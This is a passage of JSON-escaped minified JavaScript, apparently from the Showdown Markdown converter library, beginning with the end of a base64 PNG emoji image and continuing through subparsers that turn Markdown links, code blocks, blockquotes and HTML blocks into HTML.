ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pse7bzcAAAAgY0hSTQAAeiUAAICDAAD5/wAAgOkAAHUwAADqYAAAOpgAABdvkl/FRgAAA1JJREFUeNrsm1+OmlAUhz+aeS9dwZggJn1AnRUMO6jpBgZXULuC2hWUWUGZBTSxKyiuoA4mfUBMnB04K5g+9DihRBHlyh/lJLwIXLgf99xzzu9etZeXFy7Z3nDh1gBoAFy4XeVtQNO0zNcapmUDfUBPnFoBfhQGq6IBaHmjwD4Ahmk5wAD4kKG5J8CNwsAFaHe6DvA9cc0wCgOv8gDka3vA9RHNPgo0D7hNnJtGYWBXxgV2dH4MfMnRRA+Y1WIO2NJ5F/ikoKm3tYsChmkNFHW+fmHQMC1dfHaXPQP3wM1yMdc2B/AOGALTWobBmI1Shu0UGCwX83XyRBQGawHntTtdG5gUNfxVu4CTNqNv6/wWGL7kCc+1AmCYVisl3I2ydD4GYZUCs7IjoLXrxHIx9w9tLAqDCfBwDrXAY457x+cAoCfuwRGjYFUnAGk+PsjR7s8Dn1VeLWCYVlpDw+VivjVHSHt+u9PVJbzGzZXQWTkAkz0V31fATUaEsjVJlQBs4FeGcteLgzgbAALBA+4y3voAeJL8nA0AHfClnM1qm1HhnYUidCSE+KzvSSJUTwAxCOMcpfETMFYpfRUKIAbCFhC3OTJJJwqDWS0BxED0JZ4Pjix1P2+E0loCSMBwyK4S/xc1ojBwag8gMU84cvTKGgmlAYhngu1O9xAXuVE5J1QCQCz3bwHuHvdQui5QKQAxEO6eEKpsFCgTRSXkvdoxSlBMCxhJJbgrrbZRtHCiShN0pRB6PeQ3ckBw2K0oKXMBVYJIP+Nvh9qulFivGoBt1lLQxowT2ykBXCfnhZIglgYACWmqXQv+baioBYCeiCQHm+QEg1O7RhF7hO4OhSAhcJKSFU7qBGADwZeqMMuXn6TUBw8qlaMrirNb4LdhWlP+SWD+cjFfxTpuS2GUpik+o3jFSEkqbJiWn0P0OMSGqlWiOu0TvD+FRHZKAE+oW+cfRmEwqlsesJJEJs8y91QqP+9UL6lqEtz2gpuNEY5sm9sIHln2DRa2aFKGJtiXkZEMiWtgVvRKUSUFkSKt2S7fAGgAXLYpmQQXf36MUChTZdUa2u8/rkvPA6Tz30r4eH3ybcBS5gJ6SaNXb+aABkA1AMxKenclBZLW/He4cYEGwEXb3wEASelexk6LIIIAAAAASUVORK5CYII\u003d\u0022\u003e'},p.subParser(\u0022makehtml.anchors\u0022,function(g,n,o){\u0022use strict\u0022;var A\u003dfunction(g,A,e,C,I,r,t){if(p.helper.isUndefined(t)\u0026\u0026(t\u003d\u0022\u0022),e\u003de.toLowerCase(),-1\u003cg.search(/\u005c(\u003c?\u005cs*\u003e? ?(['\u0022].*['\u0022])?\u005c)$/m))C\u003d\u0022\u0022;else if(!C){if(e||(e\u003dA.toLowerCase().replace(/ ?\u005cn/g,\u0022 \u0022)),C\u003d\u0022#\u0022+e,p.helper.isUndefined(o.gUrls[e]))return g;C\u003do.gUrls[e],p.helper.isUndefined(o.gTitles[e])||(t\u003do.gTitles[e])}var a\u003d'\u003ca href\u003d\u0022'+(C\u003dC.replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback))+'\u0022';return\u0022\u0022!\u003d\u003dt\u0026\u0026null!\u003d\u003dt\u0026\u0026(a+\u003d' title\u003d\u0022'+(t\u003d(t\u003dt.replace(/\u0022/g,\u0022\u0026quot;\u0022)).replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback))+'\u0022'),n.openLinksInNewWindow\u0026\u0026!/^#/.test(C)\u0026\u0026(a+\u003d' target\u003d\u0022¨E95Eblank\u0022'),a+\u003d\u0022\u003e\u0022+A+\u0022\u003c/a\u003e\u0022};return g\u003d(g\u003d(g\u003d(g\u003d(g\u003do.converter._dispatch(\u0022makehtml.anchors.before\u0022,g,n,o)).replace(/\u005c[((?:\u005c[[^\u005c]]*]|[^\u005c[\u005c]])*)] ?(?:\u005cn *)?\u005c[(.*?)]()()()()/g,A)).replace(/\u005c[((?:\u005c[[^\u005c]]*]|[^\u005c[\u005c]])*)]()[ \u005ct]*\u005c([ \u005ct]?\u003c([^\u003e]*)\u003e(?:[ \u005ct]*(([\u0022'])([^\u0022]*?)\u005c5))?[ \u005ct]?\u005c)/g,A)).replace(/\u005c[((?:\u005c[[^\u005c]]*]|[^\u005c[\u005c]])*)]()[ \u005ct]*\u005c([ \u005ct]?\u003c?([\u005cS]+?(?:\u005c([\u005cS]*?\u005c)[\u005cS]*?)?)\u003e?(?:[ \u005ct]*(([\u0022'])([^\u0022]*?)\u005c5))?[ \u005ct]?\u005c)/g,A)).replace(/\u005c[([^\u005c[\u005c]]+)]()()()()()/g,A),n.ghMentions\u0026\u0026(g\u003dg.replace(/(^|\u005cs)(\u005c\u005c)?(@([a-z\u005cd\u005c-]+))(?\u003d[.!?;,[\u005c]()]|\u005cs|$)/gim,function(g,A,e,C,I){if(\u0022\u005c\u005c\u0022\u003d\u003d\u003de)return A+C;if(!p.helper.isString(n.ghMentionsLink))throw new Error(\u0022ghMentionsLink option must be a string\u0022);var r\u003dn.ghMentionsLink.replace(/\u005c{u}/g,I),t\u003d\u0022\u0022;return n.openLinksInNewWindow\u0026\u0026(t\u003d' target\u003d\u0022¨E95Eblank\u0022'),A+'\u003ca href\u003d\u0022'+r+'\u0022'+t+\u0022\u003e\u0022+C+\u0022\u003c/a\u003e\u0022})),g\u003do.converter._dispatch(\u0022makehtml.anchors.after\u0022,g,n,o)});var I\u003d/([*~_]+|\u005cb)(((https?|ftp|dict):\u005c/\u005c/|www\u005c.)[^'\u0022\u003e\u005cs]+?\u005c.[^'\u0022\u003e\u005cs]+?)()(\u005c1)?(?\u003d\u005cs|$)(?![\u0022\u003c\u003e])/gi,t\u003d/([*~_]+|\u005cb)(((https?|ftp|dict):\u005c/\u005c/|www\u005c.)[^'\u0022\u003e\u005cs]+\u005c.[^'\u0022\u003e\u005cs]+?)([.!?,()\u005c[\u005c]])?(\u005c1)?(?\u003d\u005cs|$)(?![\u0022\u003c\u003e])/gi,a\u003d/()\u003c(((https?|ftp|dict):\u005c/\u005c/|www\u005c.)[^'\u0022\u003e\u005cs]+)()\u003e()/gi,n\u003d/(^|\u005cs)(?:mailto:)?([A-Za-z0-9!#$%\u0026'*+-/\u003d?^_`{|}~.]+@[-a-z0-9]+(\u005c.[-a-z0-9]+)*\u005c.[a-z]+)(?\u003d$|\u005cs)/gim,o\u003d/\u003c()(?:mailto:)?([-.\u005cw]+@[-a-z0-9]+(\u005c.[-a-z0-9]+)*\u005c.[a-z]+)\u003e/gi,s\u003dfunction(l){\u0022use strict\u0022;return function(g,A,e,C,I,r,t){var a\u003de\u003de.replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback),n\u003d\u0022\u0022,o\u003d\u0022\u0022,s\u003dA||\u0022\u0022,i\u003dt||\u0022\u0022;return/^www\u005c./i.test(e)\u0026\u0026(e\u003de.replace(/^www\u005c./i,\u0022http://www.\u0022)),l.excludeTrailingPunctuationFromURLs\u0026\u0026r\u0026\u0026(n\u003dr),l.openLinksInNewWindow\u0026\u0026(o\u003d' target\u003d\u0022¨E95Eblank\u0022'),s+'\u003ca href\u003d\u0022'+e+'\u0022'+o+\u0022\u003e\u0022+a+\u0022\u003c/a\u003e\u0022+n+i}},d\u003dfunction(I,r){\u0022use strict\u0022;return function(g,A,e){var C\u003d\u0022mailto:\u0022;return A\u003dA||\u0022\u0022,e\u003dp.subParser(\u0022makehtml.unescapeSpecialChars\u0022)(e,I,r),I.encodeEmails?(C\u003dp.helper.encodeEmailAddress(C+e),e\u003dp.helper.encodeEmailAddress(e)):C+\u003de,A+'\u003ca href\u003d\u0022'+C+'\u0022\u003e'+e+\u0022\u003c/a\u003e\u0022}};p.subParser(\u0022makehtml.autoLinks\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003d(g\u003de.converter._dispatch(\u0022makehtml.autoLinks.before\u0022,g,A,e)).replace(a,s(A))).replace(o,d(A,e)),g\u003de.converter._dispatch(\u0022makehtml.autoLinks.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.simplifiedAutoLinks\u0022,function(g,A,e){\u0022use strict\u0022;return A.simplifiedAutoLink?(g\u003de.converter._dispatch(\u0022makehtml.simplifiedAutoLinks.before\u0022,g,A,e),g\u003d(g\u003dA.excludeTrailingPunctuationFromURLs?g.replace(t,s(A)):g.replace(I,s(A))).replace(n,d(A,e)),g\u003de.converter._dispatch(\u0022makehtml.simplifiedAutoLinks.after\u0022,g,A,e)):g}),p.subParser(\u0022makehtml.blockGamut\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003de.converter._dispatch(\u0022makehtml.blockGamut.before\u0022,g,A,e),g\u003dp.subParser(\u0022makehtml.blockQuotes\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.headers\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.horizontalRule\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.lists\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.codeBlocks\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.tables\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.hashHTMLBlocks\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.paragraphs\u0022)(g,A,e),g\u003de.converter._dispatch(\u0022makehtml.blockGamut.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.blockQuotes\u0022,function(g,A,e){\u0022use strict\u0022;g\u003de.converter._dispatch(\u0022makehtml.blockQuotes.before\u0022,g,A,e),g+\u003d\u0022\u005cn\u005cn\u0022;var C\u003d/(^ {0,3}\u003e[ \u005ct]?.+\u005cn(.+\u005cn)*\u005cn*)+/gm;return A.splitAdjacentBlockquotes\u0026\u0026(C\u003d/^ {0,3}\u003e[\u005cs\u005cS]*?(?:\u005cn\u005cn)/gm),g\u003dg.replace(C,function(g){return g\u003d(g\u003d(g\u003dg.replace(/^[ \u005ct]*\u003e[ \u005ct]?/gm,\u0022\u0022)).replace(/¨0/g,\u0022\u0022)).replace(/^[ \u005ct]+$/gm,\u0022\u0022),g\u003dp.subParser(\u0022makehtml.githubCodeBlocks\u0022)(g,A,e),g\u003d(g\u003d(g\u003dp.subParser(\u0022makehtml.blockGamut\u0022)(g,A,e)).replace(/(^|\u005cn)/g,\u0022$1 \u0022)).replace(/(\u005cs*\u003cpre\u003e[^\u005cr]+?\u003c\u005c/pre\u003e)/gm,function(g,A){var e\u003dA;return e\u003d(e\u003de.replace(/^ /gm,\u0022¨0\u0022)).replace(/¨0/g,\u0022\u0022)}),p.subParser(\u0022makehtml.hashBlock\u0022)(\u0022\u003cblockquote\u003e\u005cn\u0022+g+\u0022\u005cn\u003c/blockquote\u003e\u0022,A,e)}),g\u003de.converter._dispatch(\u0022makehtml.blockQuotes.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.codeBlocks\u0022,function(g,t,a){\u0022use strict\u0022;g\u003da.converter._dispatch(\u0022makehtml.codeBlocks.before\u0022,g,t,a);return g\u003d(g\u003d(g+\u003d\u0022¨0\u0022).replace(/(?:\u005cn\u005cn|^)((?:(?:[ ]{4}|\u005ct).*\u005cn+)+)(\u005cn*[ ]{0,3}[^ \u005ct\u005cn]|(?\u003d¨0))/g,function(g,A,e){var C\u003dA,I\u003de,r\u003d\u0022\u005cn\u0022;return C\u003dp.subParser(\u0022makehtml.outdent\u0022)(C,t,a),C\u003dp.subParser(\u0022makehtml.encodeCode\u0022)(C,t,a),C\u003d(C\u003d(C\u003dp.subParser(\u0022makehtml.detab\u0022)(C,t,a)).replace(/^\u005cn+/g,\u0022\u0022)).replace(/\u005cn+$/g,\u0022\u0022),t.omitExtraWLInCodeBlocks\u0026\u0026(r\u003d\u0022\u0022),C\u003d\u0022\u003cpre\u003e\u003ccode\u003e\u0022+C+r+\u0022\u003c/code\u003e\u003c/pre\u003e\u0022,p.subParser(\u0022makehtml.hashBlock\u0022)(C,t,a)+I})).replace(/¨0/,\u0022\u0022),g\u003da.converter._dispatch(\u0022makehtml.codeBlocks.after\u0022,g,t,a)}),p.subParser(\u0022makehtml.codeSpans\u0022,function(g,r,t){\u0022use strict\u0022;return void 0\u003d\u003d\u003d(g\u003dt.converter._dispatch(\u0022makehtml.codeSpans.before\u0022,g,r,t))\u0026\u0026(g\u003d\u0022\u0022),g\u003dg.replace(/(^|[^\u005c\u005c])(`+)([^\u005cr]*?[^`])\u005c2(?!`)/gm,function(g,A,e,C){var I\u003dC;return I\u003d(I\u003dI.replace(/^([ \u005ct]*)/g,\u0022\u0022)).replace(/[ \u005ct]*$/g,\u0022\u0022),I\u003dA+\u0022\u003ccode\u003e\u0022+(I\u003dp.subParser(\u0022makehtml.encodeCode\u0022)(I,r,t))+\u0022\u003c/code\u003e\u0022,I\u003dp.subParser(\u0022makehtml.hashHTMLSpans\u0022)(I,r,t)}),g\u003dt.converter._dispatch(\u0022makehtml.codeSpans.after\u0022,g,r,t)}),p.subParser(\u0022makehtml.completeHTMLDocument\u0022,function(g,A,e){\u0022use strict\u0022;if(!A.completeHTMLDocument)return g;g\u003de.converter._dispatch(\u0022makehtml.completeHTMLDocument.before\u0022,g,A,e);var C\u003d\u0022html\u0022,I\u003d\u0022\u003c!DOCTYPE HTML\u003e\u005cn\u0022,r\u003d\u0022\u0022,t\u003d'\u003cmeta charset\u003d\u0022utf-8\u0022\u003e\u005cn',a\u003d\u0022\u0022,n\u003d\u0022\u0022;for(var o in void 0!\u003d\u003de.metadata.parsed.doctype\u0026\u0026(I\u003d\u0022\u003c!DOCTYPE \u0022+e.metadata.parsed.doctype+\u0022\u003e\u005cn\u0022,\u0022html\u0022!\u003d\u003d(C\u003de.metadata.parsed.doctype.toString().toLowerCase())\u0026\u0026\u0022html5\u0022!\u003d\u003dC||(t\u003d'\u003cmeta charset\u003d\u0022utf-8\u0022\u003e')),e.metadata.parsed)if(e.metadata.parsed.hasOwnProperty(o))switch(o.toLowerCase()){case\u0022doctype\u0022:break;case\u0022title\u0022:r\u003d\u0022\u003ctitle\u003e\u0022+e.metadata.parsed.title+\u0022\u003c/title\u003e\u005cn\u0022;break;case\u0022charset\u0022:t\u003d\u0022html\u0022\u003d\u003d\u003dC||\u0022html5\u0022\u003d\u003d\u003dC?'\u003cmeta charset\u003d\u0022'+e.metadata.parsed.charset+'\u0022\u003e\u005cn':'\u003cmeta name\u003d\u0022charset\u0022 content\u003d\u0022'+e.metadata.parsed.charset+'\u0022\u003e\u005cn';break;case\u0022language\u0022:case\u0022lang\u0022:a\u003d' lang\u003d\u0022'+e.metadata.parsed[o]+'\u0022',n+\u003d'\u003cmeta name\u003d\u0022'+o+'\u0022 content\u003d\u0022'+e.metadata.parsed[o]+'\u0022\u003e\u005cn';break;default:n+\u003d'\u003cmeta name\u003d\u0022'+o+'\u0022 content\u003d\u0022'+e.metadata.parsed[o]+'\u0022\u003e\u005cn'}return g\u003dI+\u0022\u003chtml\u0022+a+\u0022\u003e\u005cn\u003chead\u003e\u005cn\u0022+r+t+n+\u0022\u003c/head\u003e\u005cn\u003cbody\u003e\u005cn\u0022+g.trim()+\u0022\u005cn\u003c/body\u003e\u005cn\u003c/html\u003e\u0022,g\u003de.converter._dispatch(\u0022makehtml.completeHTMLDocument.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.detab\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003d(g\u003d(g\u003d(g\u003d(g\u003de.converter._dispatch(\u0022makehtml.detab.before\u0022,g,A,e)).replace(/\u005ct(?\u003d\u005ct)/g,\u0022 \u0022)).replace(/\u005ct/g,\u0022¨A¨B\u0022)).replace(/¨B(.+?)¨A/g,function(g,A){for(var e\u003dA,C\u003d4-e.length%4,I\u003d0;I\u003cC;I++)e+\u003d\u0022 \u0022;return e})).replace(/¨A/g,\u0022 \u0022)).replace(/¨B/g,\u0022\u0022),g\u003de.converter._dispatch(\u0022makehtml.detab.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.ellipsis\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003de.converter._dispatch(\u0022makehtml.ellipsis.before\u0022,g,A,e)).replace(/\u005c.\u005c.\u005c./g,\u0022…\u0022),g\u003de.converter._dispatch(\u0022makehtml.ellipsis.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.emoji\u0022,function(g,A,e){\u0022use strict\u0022;if(!A.emoji)return g;return g\u003d(g\u003de.converter._dispatch(\u0022makehtml.emoji.before\u0022,g,A,e)).replace(/:([\u005cS]+?):/g,function(g,A){return p.helper.emojis.hasOwnProperty(A)?p.helper.emojis[A]:g}),g\u003de.converter._dispatch(\u0022makehtml.emoji.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.encodeAmpsAndAngles\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003d(g\u003d(g\u003d(g\u003de.converter._dispatch(\u0022makehtml.encodeAmpsAndAngles.before\u0022,g,A,e)).replace(/\u0026(?!#?[xX]?(?:[0-9a-fA-F]+|\u005cw+);)/g,\u0022\u0026amp;\u0022)).replace(/\u003c(?![a-z\u005c/?$!])/gi,\u0022\u0026lt;\u0022)).replace(/\u003c/g,\u0022\u0026lt;\u0022)).replace(/\u003e/g,\u0022\u0026gt;\u0022),g\u003de.converter._dispatch(\u0022makehtml.encodeAmpsAndAngles.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.encodeBackslashEscapes\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003d(g\u003de.converter._dispatch(\u0022makehtml.encodeBackslashEscapes.before\u0022,g,A,e)).replace(/\u005c\u005c(\u005c\u005c)/g,p.helper.escapeCharactersCallback)).replace(/\u005c\u005c([`*_{}\u005c[\u005c]()\u003e#+.!~\u003d|-])/g,p.helper.escapeCharactersCallback),g\u003de.converter._dispatch(\u0022makehtml.encodeBackslashEscapes.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.encodeCode\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003de.converter._dispatch(\u0022makehtml.encodeCode.before\u0022,g,A,e)).replace(/\u0026/g,\u0022\u0026amp;\u0022).replace(/\u003c/g,\u0022\u0026lt;\u0022).replace(/\u003e/g,\u0022\u0026gt;\u0022).replace(/([*_{}\u005c[\u005c]\u005c\u005c\u003d~-])/g,p.helper.escapeCharactersCallback),g\u003de.converter._dispatch(\u0022makehtml.encodeCode.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.escapeSpecialCharsWithinTagAttributes\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003d(g\u003de.converter._dispatch(\u0022makehtml.escapeSpecialCharsWithinTagAttributes.before\u0022,g,A,e)).replace(/\u003c\u005c/?[a-z\u005cd_:-]+(?:[\u005cs]+[\u005cs\u005cS]+?)?\u003e/gi,function(g){return g.replace(/(.)\u003c\u005c/?code\u003e(?\u003d.)/g,\u0022$1`\u0022).replace(/([\u005c\u005c`*_~\u003d|])/g,p.helper.escapeCharactersCallback)})).replace(/\u003c!(--(?:(?:[^\u003e-]|-[^\u003e])(?:[^-]|-[^-])*)--)\u003e/gi,function(g){return g.replace(/([\u005c\u005c`*_~\u003d|])/g,p.helper.escapeCharactersCallback)}),g\u003de.converter._dispatch(\u0022makehtml.escapeSpecialCharsWithinTagAttributes.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.githubCodeBlocks\u0022,function(g,r,t){\u0022use strict\u0022;return r.ghCodeBlocks?(g\u003dt.converter._dispatch(\u0022makehtml.githubCodeBlocks.before\u0022,g,r,t),g\u003d(g\u003d(g+\u003d\u0022¨0\u0022).replace(/(?:^|\u005cn)(```+|~~~+)([^\u005cs`~]*)\u005cn([\u005cs\u005cS]*?)\u005cn\u005c1/g,function(g,A,e,C){var I\u003dr.omitExtraWLInCodeBlocks?\u0022\u0022:\u0022\u005cn\u0022;return C\u003dp.subParser(\u0022makehtml.encodeCode\u0022)(C,r,t),C\u003d\u0022\u003cpre\u003e\u003ccode\u0022+(e?' class\u003d\u0022'+e+\u0022 language-\u0022+e+'\u0022':\u0022\u0022)+\u0022\u003e\u0022+(C\u003d(C\u003d(C\u003dp.subParser(\u0022makehtml.detab\u0022)(C,r,t)).replace(/^\u005cn+/g,\u0022\u0022)).replace(/\u005cn+$/g,\u0022\u0022))+I+\u0022\u003c/code\u003e\u003c/pre\u003e\u0022,C\u003dp.subParser(\u0022makehtml.hashBlock\u0022)(C,r,t),\u0022\u005cn\u005cn¨G\u0022+(t.ghCodeBlocks.push({text:g,codeblock:C})-1)+\u0022G\u005cn\u005cn\u0022})).replace(/¨0/,\u0022\u0022),t.converter._dispatch(\u0022makehtml.githubCodeBlocks.after\u0022,g,r,t)):g}),p.subParser(\u0022makehtml.hashBlock\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003de.converter._dispatch(\u0022makehtml.hashBlock.before\u0022,g,A,e)).replace(/(^\u005cn+|\u005cn+$)/g,\u0022\u0022),g\u003d\u0022\u005cn\u005cn¨K\u0022+(e.gHtmlBlocks.push(g)-1)+\u0022K\u005cn\u005cn\u0022,g\u003de.converter._dispatch(\u0022makehtml.hashBlock.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.hashCodeTags\u0022,function(g,r,t){\u0022use strict\u0022;g\u003dt.converter._dispatch(\u0022makehtml.hashCodeTags.before\u0022,g,r,t);return g\u003dp.helper.replaceRecursiveRegExp(g,function(g,A,e,C){var I\u003de+p.subParser(\u0022makehtml.encodeCode\u0022)(A,r,t)+C;return\u0022¨C\u0022+(t.gHtmlSpans.push(I)-1)+\u0022C\u0022},\u0022\u003ccode\u005c\u005cb[^\u003e]*\u003e\u0022,\u0022\u003c/code\u003e\u0022,\u0022gim\u0022),g\u003dt.converter._dispatch(\u0022makehtml.hashCodeTags.after\u0022,g,r,t)}),p.subParser(\u0022makehtml.hashElement\u0022,function(g,A,C){\u0022use strict\u0022;return function(g,A){var e\u003dA;return e\u003d(e\u003d(e\u003de.replace(/\u005cn\u005cn/g,\u0022\u005cn\u0022)).replace(/^\u005cn/,\u0022\u0022)).replace(/\u005cn+$/g,\u0022\u0022),e\u003d\u0022\u005cn\u005cn¨K\u0022+(C.gHtmlBlocks.push(e)-1)+\u0022K\u005cn\u005cn\u0022}}),p.subParser(\u0022makehtml.hashHTMLBlocks\u0022,function(g,A,r){\u0022use strict\u0022;g\u003dr.converter._dispatch(\u0022makehtml.hashHTMLBlocks.before\u0022,g,A,r);var e\u003d[\u0022pre\u0022,\u0022div\u0022,\u0022h1\u0022,\u0022h2\u0022,\u0022h3\u0022,\u0022h4\u0022,\u0022h5\u0022,\u0022h6\u0022,\u0022blockquote\u0022,\u0022table\u0022,\u0022dl\u0022,\u0022ol\u0022,\u0022ul\u0022,\u0022script\u0022,\u0022noscript\u0022,\u0022form\u0022,\u0022fieldset\u0022,\u0022iframe\u0022,\u0022math\u0022,\u0022style\u0022,\u0022section\u0022,\u0022header\u0022,\u0022footer\u0022,\u0022nav\u0022,\u0022article\u0022,\u0022aside\u0022,\u0022address\u0022,\u0022audio\u0022,\u0022canvas\u0022,\u0022figure\u0022,\u0022hgroup\u0022,\u0022output\u0022,\u0022video\u0022,\u0022p\u0022],C\u003dfunction(g,A,e,C){var I\u003dg;return-1!\u003d\u003de.search(/\u005cbmarkdown\u005cb/)\u0026\u0026(I\u003de+r.converter.makeHtml(A)+C),\u0022\u005cn\u005cn¨K\u0022+(r.gHtmlBlocks.push(I)-1)+\u0022K\u005cn\u005cn\u0022};A.backslashEscapesHTMLTags\u0026\u0026(g\u003dg.replace(/\u005c\u005c\u003c(\u005c/?[^\u003e]+?)\u003e/g,function(g,A){return\u0022\u0026lt;\u0022+A+\u0022\u0026gt;\u0022}));for(var I\u003d0;I\u003ce.length;++I)for(var t,a\u003dnew RegExp(\u0022^ {0,3}(\u003c\u0022+e[I]+\u0022\u005c\u005cb[^\u003e]*\u003e)\u0022,\u0022im\u0022),n\u003d\u0022\u003c\u0022+e[I]+\u0022\u005c\u005cb[^\u003e]*\u003e\u0022,o\u003d\u0022\u003c/\u0022+e[I]+\u0022\u003e\u0022;-1!\u003d\u003d(t\u003dp.helper.regexIndexOf(g,a));){var s\u003dp.helper.splitAtIndex(g,t),i\u003dp.helper.replaceRecursiveRegExp(s[1],C,n,o,\u0022im\u0022);if(i\u003d\u003d\u003ds[1])break;g\u003ds[0].concat(i)}return g\u003dg.replace(/(\u005cn {0,3}(\u003c(hr)\u005cb([^\u003c\u003e])*?\u005c/?\u003e)[ \u005ct]*(?\u003d\u005cn{2,}))/g,p.subParser(\u0022makehtml.hashElement\u0022)(g,A,r)),g\u003d(g\u003dp.helper.replaceRecursiveRegExp(g,function(g){return\u0022\u005cn\u005cn¨K\u0022+(r.gHtmlBlocks.push(g)-1)+\u0022K\u005cn\u005cn\u0022},\u0022^ {0,3}\u005cx3c!--\u0022,\u0022--\u005cx3e\u0022,\u0022gm\u0022)).replace(/(?:\u005cn\u005cn)( {0,3}(?:\u003c([?%])[^\u005cr]*?\u005c2\u003e)[ 